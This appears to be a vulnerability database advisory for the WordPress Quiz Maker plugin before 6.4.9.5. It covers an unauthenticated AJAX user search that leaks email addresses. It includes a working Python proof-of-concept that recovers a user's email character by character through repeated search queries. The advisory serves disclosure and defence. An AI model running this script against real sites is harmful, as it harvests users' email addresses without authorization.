WordPress Plugin Vulnerabilities
Quiz Maker < 6.4.9.5 - Unauthenticated Email Address Disclosure
Description
The plugin does not adequately authorize the `ays_quiz_author_user_search` AJAX action, allowing an unauthenticated attacker to perform a search for users of the system, ultimately leaking user email addresses.
Proof of Concept
import string import requests base_url = 'http://127.0.0.1:8001/wp-admin/admin-ajax.php?action=ays_quiz_author_user_search&search=' id_to_find = 1 letter_candidates = string.ascii_lowercase + string.digits + '-_.' email = '@' # Find letters after @ while True: print("current email", email) for letter in letter_candidates: query = email + letter data = requests.get(base_url + query).json() if id_to_find in [item['id'] for item in data['results']]: email = query break else: break # Find letters before @ while True: print("current email", email) for letter in letter_candidates: query = letter + email data = requests.get(base_url + query).json() if id_to_find in [item['id'] for item in data['results']]: email = query break else: break
Affects Plugins
References
CVE
Classification
Type
SENSITIVE DATA DISCLOSURE
OWASP top 10
CWE
Miscellaneous
Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-11-30 (about 5 months ago)
Added
2023-11-30 (about 5 months ago)
Last Updated
2023-11-30 (about 5 months ago)